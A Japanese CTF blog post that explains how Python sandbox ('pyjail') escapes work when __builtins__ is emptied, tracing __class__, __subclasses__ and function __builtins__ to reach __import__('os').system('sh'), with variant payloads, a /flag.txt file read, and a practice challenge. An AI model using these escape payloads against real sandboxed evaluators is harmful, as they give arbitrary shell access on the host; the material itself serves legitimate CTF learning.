👮‍♀️

builtinsが削除されたpyjailで使われる「アレ」ちゃんと理解する

2024/12/02に公開

脆弱エンジニアの Advent Calendar 2024 Day2 参加記事です

※以下、基本的にpython3.12.6で、-Sオプションで実行する環境を想定します

次の超シンプルなpyjailを見てみましょう。

code = input("your code: ")
eval(code, {"__builtins__": {}}, {"__builtins__": {}})

__builtins__とは、通常pythonの実行環境で定義されているビルトイン関数の辞書型のオブジェクトです。上記のコードでは、この__builtins__が空の辞書となっているため、すべてのビルトイン関数が使えなくなっています。

解法は無限にありますが、私は手癖のように次のペイロードを利用しています。

[].__class__.__class__.__subclasses__([].__class__.__class__)[0].register.__builtins__['__import__']('os').system('sh')

これを理解して、応用問題に備えよう!という記事です。

__class__とは?

pythonはオブジェクト指向言語で、すべてのオブジェクトは何かしらのクラスのインスタンスです。__class__要素は、オブジェクトのクラスそのものを返します。

print([].__class__) # <class 'list'>
print(().__class__) # <class 'tuple'>
print("".__class__) # <class 'str'>
print((1).__class__) # <class 'int'>

「すべてのオブジェクトは何かしらのクラスのインスタンス」というのは、クラスそのものも例外ではなく、すべてのクラスはtypeというクラスのインスタンスとなります。

print([].__class__.__class__) # <class 'type'>
print(().__class__.__class__) # <class 'type'>
print("".__class__.__class__) # <class 'type'>
print((1).__class__.__class__) # <class 'type'>

これで、[].__class__.__class__typeであることがわかりました。

__subclasses__関数とは?

__subclasses__関数はあるクラスのサブクラス(そのクラスを継承するクラス)のリストを返す関数です。

print(int.__subclasses__())
# [<class 'bool'>, <enum 'IntEnum'>, <flag 'IntFlag'>, <class 're._constants._NamedIntConstant'>]

print(list.__subclasses__())
# [<class '_frozen_importlib._List'>, <class 'functools._HashedSeq'>]

print(object.__subclasses__())
# 親クラスがobjectであるすべてのクラスが列挙される
# [<class 'type'>, <class 'async_generator'>, ...]

type.__subclasses__は少し事情が変わってきます。なぜなら、__subclasses__typeのクラスメソッドだからです。引数なしで実行するとエラーになるはずです。

print(type.__subclasses__())
# TypeError: unbound method type.__subclasses__() needs an argument

あるインスタンスがクラスメソッドを実行する場合、内部的には次のように実行されています。

s = "X" # sはstrのインスタンス
# 以下は同義
print(s.encode()) # b'X'
print(str.encode(s)) # b'X'

つまり、例えばobject.__subclasses__()type.__subclasses__(object)と同義になります。このように、type.__subclasses__は引数を前提とした関数となっています。

typeのサブクラス一覧を取得したい場合は、type.__subclasses__(type)を実行しなければなりません。

これで、[].__class__.__class__.__subclasses__([].__class__.__class__)type.__subclasses__(type)であり、「typeを継承した子クラスのリストである」というところまでが理解できました。

abc.ABCMeta.register.__builtins__とは?

CPythonで標準的に定義された関数は次のどちらかに分類できます(多分)

  • C言語で実装されたビルトイン関数
  • 標準ライブラリ内のPythonで定義された関数

通常、python内で関数を定義すると、その関数がアクセスできるグローバル変数(__globals__)や、ビルトイン関数(__builtins__)が、関数の要素として取得できるようになります。

hello = 'world!'

def myfunc():
    pass

print(myfunc.__globals__['hello']) # world!
print(myfunc.__builtins__) # {'__name__': 'builtins' ...}

ただし、これは「C言語で実装されたビルトイン関数」には当てはまりません。

hello = 'world!'

print(open.__globals__) 
# AttributeError: 'builtin_function_or_method' object has no attribute '__globals__'
print(open.__builtins__) 
# AttributeError: 'builtin_function_or_method' object has no attribute '__builtins__'

逆に言えば、「標準ライブラリ内のPythonで定義された関数」にアクセスできれば、その関数が定義された環境での__builtins__にアクセスできるわけです。

type.__subclasses__(type)の実行結果を見てみましょう。

print(type.__subclasses__(type))
# [<class 'abc.ABCMeta'>, <class 'enum.EnumType'>, <class 'ast._ABC'>]

ここで、abc.ABCMetaは、「標準ライブラリ内のPythonで定義されたクラス」なので、abc.ABCMeta.registerは「標準ライブラリ内のPythonで定義された関数」となります。したがって、abc.ABCMeta.register.__builtins__を通してビルトイン関数にアクセスできるようになるわけです。

ちなみに、abc.ABCMetaを利用しているのは、単純に最初の要素でアクセスしやすいから、という理由だけなので、「標準ライブラリ内のPythonで定義された関数」であればなんでもよいです。

ですので、他にも次のような方法で__builtins__を取得できます。

# re._constants._NamedIntConstant.__repr__
(0).__class__.__subclasses__()[3].__repr__.__builtins__
# inspect._FrameInfo._asdict
().__class__.__subclasses__()[-1]._asdict.__builtins__
# functools._HashedSeq.__init__
[].__class__.__subclasses__()[1].__init__.__builtins__
# StrEnum.__new__
"".__class__.__subclasses__()[0].__new__.__builtins__

abc.ABCMeta.registerの便利な点としては、数字が使えない環境でも次のようにイテレーターを利用して取得できたりします。

print([].__class__.__class__.__subclasses__([].__class__.__class__).__iter__().__next__())
# <class 'abc.ABCMeta'>

まとめ

私と共にSECCONの1linepyjailで爆死したあなたも、これからはpyjailマスター!

[].__class__.__class__.__subclasses__([].__class__.__class__)[0].register.__builtins__['__import__']('os').system('sh')

おまけ1: object.__subclasses__を利用した方法

先ほどの説明にもある通り、__subclasses__はあるクラスのすべてのサブクラスを列挙する関係で、object.__subclasses__を実行できると、親クラスがobjectのすべてのクラスにアクセスできるようになります。

objectを取得するには、[].__class__.__base__を利用します。__base__は、あるクラスの親クラスを返します。pythonは多重継承ができるので、親クラスが複数ある場合は最初のクラスになります。

print([].__class__.__base__) # <class 'object'>

objectを取得する方法は、他にもあります

# 親クラスをすべて取得する
print([].__class__.__bases__[0]) # <class 'object'>
# __mro__は、インスタンスメソッドが名前解決解決される順番のタプル
print([].__class__.__mro__[1]) # <class 'object'>

「標準ライブラリ内のPythonで定義されたクラス」をなんでもいいので一つ探して、その関数から__builtins__にアクセスできます。

print(().__class__.__base__.__subclasses__()[116]) # <class '_frozen_importlib._ModuleLock'>
().__class__.__base__.__subclasses__()[116].__init__.__builtins__['__import__']('os').system('sh')
print(().__class__.__base__.__subclasses__()[211]) # <class 'os._wrap_close'>
().__class__.__base__.__subclasses__()[211].__init__.__builtins__['__import__']('os').system('sh')

利点

この方法の利点は、組み込み関数がモンキーパッチで無効化されていても、代替となるクラスや関数を見つけやすいということです。以下は__import__がなくても任意のモジュールをインポートする方法です。

del __builtins__.__dict__['__import__']

print([].__class__.__base__.__subclasses__()[120]) # <class '_frozen_importlib.BuiltinImporter'>
[].__class__.__base__.__subclasses__()[120].load_module('os').system('sh')

また、親クラスから子クラスへ順に辿っていくことで、理論上はすべてのクラスにアクセスできます。

# <class '_io._IOBase'> -> <class '_io._RawIOBase'> -> <class '_io.FileIO'>
[].__class__.__base__.__subclasses__()[129].__subclasses__()[2].__subclasses__()[0]("/flag.txt").read()

欠点

object.__subclasses__()の実行結果は、pythonのバージョンによって左右されることが多いため、目当てのクラスのインデックスを探すのが一手間です。

おまけ2: [].__reduce_ex__を利用した方法

[].__reduce_ex__(3)[0].__builtins__['__import__']('os').system('sh')

object.__reduce_ex__関数は、pickleのためにオーバーライドされる関数で、通常タプルを返します。

このタプルの最初の要素は関数なのですが、これは「標準ライブラリ内のPythonで定義された関数」となります。これを利用して、__builtins__にアクセスできるという仕組みです。

object.__reduce_ex__はすべてのクラスでオーバーライドされているわけではありませんが、組み込みクラスならば大体オーバーライドされているはずで、いずれも「標準ライブラリ内のPythonで定義された関数」であるということは覚えておいて損はなさそうです。

利点

とにかく短いので、pygolf系の問題で有利

欠点

ここまで書いておいてなんですが、__import__がない環境では動きません。これは、内部的に__import__('copyreg')を関数内で利用しているからです。したがって、最初の問題設定では動きませんが、似たような問題設定でも実は使えるみたいな場面が出てくるかもしれません。

練習問題

あなたならもう解けるよね?(想定解は12/25公開)

#!/usr/bin/python -S

# 逆に__subclasses__と__builtins__しか使っちゃだめ!
allowed = '[(+).__subclasses__.__builtins__]'

code = input('Are you pyjail master?: ')
assert all(c in allowed for c in code)
eval(code, {"__builtins__": {}}, {"__builtins__": {}})

参考文献

Hacktricks - Bypass Python sandboxes
Pyjail Cheatsheet

Discussion